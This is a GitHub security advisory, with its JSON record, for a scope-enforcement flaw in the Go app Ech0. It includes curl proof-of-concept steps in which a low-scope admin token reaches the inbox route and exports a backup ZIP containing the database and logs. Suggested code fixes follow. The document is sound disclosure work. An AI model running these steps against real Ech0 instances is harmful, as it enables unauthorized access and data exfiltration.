GHSA-4H9Q-P5J4-XVVH

Vulnerability from github – Published: 2026-04-10 19:39 – Updated: 2026-04-10 19:39
VLAI
Summary
Ech0: Scoped admin access tokens can bypass least-privilege controls on privileged endpoints, including backup export
Details

Summary

Ech0 scoped access tokens do not reliably enforce least privilege: multiple privileged admin routes omit scope checks, and the backup export handler strips token scope metadata entirely, allowing a low-scope admin access token to reach broader admin functionality than intended.

Impact

An attacker who obtains a deliberately limited access token for an admin account can use that token to access privileged functionality outside its assigned scope. Confirmed impact includes access to /api/inbox with a token scoped only for echo:read and successful backup export via /api/backup/export?token=..., which returns a full ZIP archive. In practice, this turns a narrowly delegated API token into a broader privileged access and data exfiltration primitive.

Details

The issue is caused by a split authorization model:

  • JWTAuthMiddleware() authenticates the token and stores scope metadata in the viewer context
  • RequireScopes(...) enforces least privilege, but only when a route explicitly adds it
  • several privileged routes omit RequireScopes(...)
  • multiple service methods then authorize using only user.IsAdmin

internal/middleware/scope.go shows that scope enforcement is opt-in:

func RequireScopes(scopes ...string) gin.HandlerFunc {
    return func(ctx *gin.Context) {
        v := viewer.MustFromContext(ctx.Request.Context())
        if v.TokenType() == authModel.TokenTypeSession {
            ctx.Next()
            return
        }
        if v.TokenType() != authModel.TokenTypeAccess { ... }
        if !containsValidAudience(v.Audience()) { ... }
        if !containsAllScopes(v.Scopes(), scopes) { ... }
        ctx.Next()
    }
}

Representative privileged routes omit RequireScopes(...), for example internal/router/inbox.go:

func setupInboxRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
    appRouterGroup.AuthRouterGroup.GET("/inbox", h.InboxHandler.GetInboxList())
    appRouterGroup.AuthRouterGroup.GET("/inbox/unread", h.InboxHandler.GetUnreadInbox())
    appRouterGroup.AuthRouterGroup.PUT("/inbox/:id/read", h.InboxHandler.MarkInboxAsRead())
    appRouterGroup.AuthRouterGroup.DELETE("/inbox/:id", h.InboxHandler.DeleteInbox())
    appRouterGroup.AuthRouterGroup.DELETE("/inbox", h.InboxHandler.ClearInbox())
}

Other source-confirmed unguarded privileged surfaces include:

  • /api/panel/comments*
  • /api/addConnect
  • /api/delConnect/:id
  • /api/migration/*
  • /api/backup/export

Service-layer authorization often checks only admin role. For example, internal/service/inbox/inbox.go:

func (inboxService *InboxService) ensureAdmin(ctx context.Context) error {
    userid := viewer.MustFromContext(ctx).UserID()
    user, err := inboxService.commonService.CommonGetUserByUserId(ctx, userid)
    if err != nil {
        return err
    }
    if !user.IsAdmin {
        return errors.New(commonModel.NO_PERMISSION_DENIED)
    }
    return nil
}

The backup export path is a stronger variant because it discards token metadata before authorization. internal/handler/backup/backup.go reparses a query token and rebuilds a bare viewer from only the user ID:

func (backupHandler *BackupHandler) ExportBackup() gin.HandlerFunc {
    return res.Execute(func(ctx *gin.Context) res.Response {
        token := ctx.Query("token")
        claims, err := jwtUtil.ParseToken(token)
        if err != nil { ... }

        reqCtx := viewer.WithContext(context.Background(), viewer.NewUserViewer(claims.Userid))
        if err := backupHandler.backupService.ExportBackup(ctx, reqCtx); err != nil { ... }
        return res.Response{Msg: commonModel.EXPORT_BACKUP_SUCCESS}
    })
}

This drops token type, scopes, audience, and token ID before the backup service runs.

Proof of concept

1. Start the app

docker run -d \
  --name ech0 \
  -p 6277:6277 \
  -v /opt/ech0/data:/app/data \
  -e JWT_SECRET="Hello Echos" \
  sn0wl1n/ech0:latest

2. Initialize an owner account

curl -sS -X POST "http://127.0.0.1:6277/api/init/owner" \
  -H 'Content-Type: application/json' \
  -d '{"username":"owner","password":"ownerpass","email":"owner@example.com"}'

3. Log in as the owner and mint a low-scope access token

owner_token=$(
  curl -sS -X POST "http://127.0.0.1:6277/api/login" \
    -H 'Content-Type: application/json' \
    -d '{"username":"owner","password":"ownerpass"}' \
  | sed -n 's/.*"data":"\([^"]*\)".*/\1/p'
)

low_scope_admin_token=$(
  curl -sS -X POST "http://127.0.0.1:6277/api/access-tokens" \
    -H 'Content-Type: application/json' \
    -H "Authorization: Bearer $owner_token" \
    -d '{"name":"echo-read-only","expiry":"8_hours","scopes":["echo:read"],"audience":"cli"}' \
  | sed -n 's/.*"data":"\([^"]*\)".*/\1/p'
)

4. Use the low-scope token on an unguarded admin route

curl -sS "http://127.0.0.1:6277/api/inbox" \
  -H "Authorization: Bearer $low_scope_admin_token"

Observed response:

{"code":1,"msg":"获取收件箱成功","data":{"total":0,"items":[]}}

5. Use the same low-scope token on backup export

curl "http://127.0.0.1:6277/api/backup/export?token=$low_scope_admin_token"

Observed response:

image

Try to unzip we will have log and database file:

->% unzip a.zip -d a
Archive:  a.zip
  inflating: a/app.log               
  inflating: a/ech0.db  

Recommended fix

Apply scope enforcement to every privileged route, move backup export behind the authenticated router group, and preserve the existing authenticated viewer context instead of rebuilding identity from raw JWT claims.

Suggested route-level changes:

import (
    "github.com/lin-snow/ech0/internal/handler"
    "github.com/lin-snow/ech0/internal/middleware"
    authModel "github.com/lin-snow/ech0/internal/model/auth"
)

func setupInboxRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
    appRouterGroup.AuthRouterGroup.GET(
        "/inbox",
        middleware.RequireScopes(authModel.ScopeAdminSettings),
        h.InboxHandler.GetInboxList(),
    )
    // Apply the same pattern to the remaining inbox routes.
}

func setupCommonRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
    appRouterGroup.AuthRouterGroup.GET(
        "/backup/export",
        middleware.RequireScopes(authModel.ScopeAdminSettings),
        h.BackupHandler.ExportBackup(),
    )
}

Suggested handler fix for internal/handler/backup/backup.go:

func (backupHandler *BackupHandler) ExportBackup() gin.HandlerFunc {
    return res.Execute(func(ctx *gin.Context) res.Response {
        if err := backupHandler.backupService.ExportBackup(ctx, ctx.Request.Context()); err != nil {
            return res.Response{
                Msg: "",
                Err: err,
            }
        }

        return res.Response{
            Msg: commonModel.EXPORT_BACKUP_SUCCESS,
        }
    })
}

The same principle should be applied to other privileged services: do not authorize only on user.IsAdmin; also validate scopes carried by access tokens.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lin-snow/ech0"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-285"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:39:46Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nEch0 scoped access tokens do not reliably enforce least privilege: multiple privileged admin routes omit scope checks, and the backup export handler strips token scope metadata entirely, allowing a low-scope admin access token to reach broader admin functionality than intended.\n\n## Impact\n\nAn attacker who obtains a deliberately limited access token for an admin account can use that token to access privileged functionality outside its assigned scope. Confirmed impact includes access to `/api/inbox` with a token scoped only for `echo:read` and successful backup export via `/api/backup/export?token=...`, which returns a full ZIP archive. In practice, this turns a narrowly delegated API token into a broader privileged access and data exfiltration primitive.\n\n## Details\n\nThe issue is caused by a split authorization model:\n\n- `JWTAuthMiddleware()` authenticates the token and stores scope metadata in the viewer context\n- `RequireScopes(...)` enforces least privilege, but only when a route explicitly adds it\n- several privileged routes omit `RequireScopes(...)`\n- multiple service methods then authorize using only `user.IsAdmin`\n\n`internal/middleware/scope.go` shows that scope enforcement is opt-in:\n\n```go\nfunc RequireScopes(scopes ...string) gin.HandlerFunc {\n\treturn func(ctx *gin.Context) {\n\t\tv := viewer.MustFromContext(ctx.Request.Context())\n\t\tif v.TokenType() == authModel.TokenTypeSession {\n\t\t\tctx.Next()\n\t\t\treturn\n\t\t}\n\t\tif v.TokenType() != authModel.TokenTypeAccess { ... }\n\t\tif !containsValidAudience(v.Audience()) { ... }\n\t\tif !containsAllScopes(v.Scopes(), scopes) { ... }\n\t\tctx.Next()\n\t}\n}\n```\n\nRepresentative privileged routes omit `RequireScopes(...)`, for example `internal/router/inbox.go`:\n\n```go\nfunc setupInboxRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {\n\tappRouterGroup.AuthRouterGroup.GET(\"/inbox\", h.InboxHandler.GetInboxList())\n\tappRouterGroup.AuthRouterGroup.GET(\"/inbox/unread\", h.InboxHandler.GetUnreadInbox())\n\tappRouterGroup.AuthRouterGroup.PUT(\"/inbox/:id/read\", h.InboxHandler.MarkInboxAsRead())\n\tappRouterGroup.AuthRouterGroup.DELETE(\"/inbox/:id\", h.InboxHandler.DeleteInbox())\n\tappRouterGroup.AuthRouterGroup.DELETE(\"/inbox\", h.InboxHandler.ClearInbox())\n}\n```\n\nOther source-confirmed unguarded privileged surfaces include:\n\n- `/api/panel/comments*`\n- `/api/addConnect`\n- `/api/delConnect/:id`\n- `/api/migration/*`\n- `/api/backup/export`\n\nService-layer authorization often checks only admin role. For example, `internal/service/inbox/inbox.go`:\n\n```go\nfunc (inboxService *InboxService) ensureAdmin(ctx context.Context) error {\n\tuserid := viewer.MustFromContext(ctx).UserID()\n\tuser, err := inboxService.commonService.CommonGetUserByUserId(ctx, userid)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !user.IsAdmin {\n\t\treturn errors.New(commonModel.NO_PERMISSION_DENIED)\n\t}\n\treturn nil\n}\n```\n\nThe backup export path is a stronger variant because it discards token metadata before authorization. `internal/handler/backup/backup.go` reparses a query token and rebuilds a bare viewer from only the user ID:\n\n```go\nfunc (backupHandler *BackupHandler) ExportBackup() gin.HandlerFunc {\n\treturn res.Execute(func(ctx *gin.Context) res.Response {\n\t\ttoken := ctx.Query(\"token\")\n\t\tclaims, err := jwtUtil.ParseToken(token)\n\t\tif err != nil { ... }\n\n\t\treqCtx := viewer.WithContext(context.Background(), viewer.NewUserViewer(claims.Userid))\n\t\tif err := backupHandler.backupService.ExportBackup(ctx, reqCtx); err != nil { ... }\n\t\treturn res.Response{Msg: commonModel.EXPORT_BACKUP_SUCCESS}\n\t})\n}\n```\n\nThis drops token type, scopes, audience, and token ID before the backup service runs.\n\n## Proof of concept\n\n### 1. Start the app\n\n```bash\ndocker run -d \\\n  --name ech0 \\\n  -p 6277:6277 \\\n  -v /opt/ech0/data:/app/data \\\n  -e JWT_SECRET=\"Hello Echos\" \\\n  sn0wl1n/ech0:latest\n```\n\n### 2. Initialize an owner account\n\n```bash\ncurl -sS -X POST \"http://127.0.0.1:6277/api/init/owner\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"owner\",\"password\":\"ownerpass\",\"email\":\"owner@example.com\"}\u0027\n```\n\n### 3. Log in as the owner and mint a low-scope access token\n\n```bash\nowner_token=$(\n  curl -sS -X POST \"http://127.0.0.1:6277/api/login\" \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"username\":\"owner\",\"password\":\"ownerpass\"}\u0027 \\\n  | sed -n \u0027s/.*\"data\":\"\\([^\"]*\\)\".*/\\1/p\u0027\n)\n\nlow_scope_admin_token=$(\n  curl -sS -X POST \"http://127.0.0.1:6277/api/access-tokens\" \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -H \"Authorization: Bearer $owner_token\" \\\n    -d \u0027{\"name\":\"echo-read-only\",\"expiry\":\"8_hours\",\"scopes\":[\"echo:read\"],\"audience\":\"cli\"}\u0027 \\\n  | sed -n \u0027s/.*\"data\":\"\\([^\"]*\\)\".*/\\1/p\u0027\n)\n```\n\n### 4. Use the low-scope token on an unguarded admin route\n\n```bash\ncurl -sS \"http://127.0.0.1:6277/api/inbox\" \\\n  -H \"Authorization: Bearer $low_scope_admin_token\"\n```\n\nObserved response:\n\n```text\n{\"code\":1,\"msg\":\"\u83b7\u53d6\u6536\u4ef6\u7bb1\u6210\u529f\",\"data\":{\"total\":0,\"items\":[]}}\n```\n\n### 5. Use the same low-scope token on backup export\n\n```bash\ncurl \"http://127.0.0.1:6277/api/backup/export?token=$low_scope_admin_token\"\n```\n\nObserved response:\n\n\u003cimg width=\"585\" height=\"111\" alt=\"image\" src=\"https://github.com/user-attachments/assets/28dd7037-163b-4d7c-8994-a719220b3a6c\" /\u003e\n\nTry to unzip we will have log and database file:\n\n```\n-\u003e% unzip a.zip -d a\nArchive:  a.zip\n  inflating: a/app.log               \n  inflating: a/ech0.db  \n```\n\n## Recommended fix\n\nApply scope enforcement to every privileged route, move backup export behind the authenticated router group, and preserve the existing authenticated viewer context instead of rebuilding identity from raw JWT claims.\n\nSuggested route-level changes:\n\n```go\nimport (\n\t\"github.com/lin-snow/ech0/internal/handler\"\n\t\"github.com/lin-snow/ech0/internal/middleware\"\n\tauthModel \"github.com/lin-snow/ech0/internal/model/auth\"\n)\n\nfunc setupInboxRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {\n\tappRouterGroup.AuthRouterGroup.GET(\n\t\t\"/inbox\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.InboxHandler.GetInboxList(),\n\t)\n\t// Apply the same pattern to the remaining inbox routes.\n}\n\nfunc setupCommonRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {\n\tappRouterGroup.AuthRouterGroup.GET(\n\t\t\"/backup/export\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.BackupHandler.ExportBackup(),\n\t)\n}\n```\n\nSuggested handler fix for `internal/handler/backup/backup.go`:\n\n```go\nfunc (backupHandler *BackupHandler) ExportBackup() gin.HandlerFunc {\n\treturn res.Execute(func(ctx *gin.Context) res.Response {\n\t\tif err := backupHandler.backupService.ExportBackup(ctx, ctx.Request.Context()); err != nil {\n\t\t\treturn res.Response{\n\t\t\t\tMsg: \"\",\n\t\t\t\tErr: err,\n\t\t\t}\n\t\t}\n\n\t\treturn res.Response{\n\t\t\tMsg: commonModel.EXPORT_BACKUP_SUCCESS,\n\t\t}\n\t})\n}\n```\n\nThe same principle should be applied to other privileged services: do not authorize only on `user.IsAdmin`; also validate scopes carried by access tokens.",
  "id": "GHSA-4h9q-p5j4-xvvh",
  "modified": "2026-04-10T19:39:46Z",
  "published": "2026-04-10T19:39:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-4h9q-p5j4-xvvh"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lin-snow/Ech0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lin-snow/Ech0/releases/tag/v4.3.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ech0: Scoped admin access tokens can bypass least-privilege controls on privileged endpoints, including backup export"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…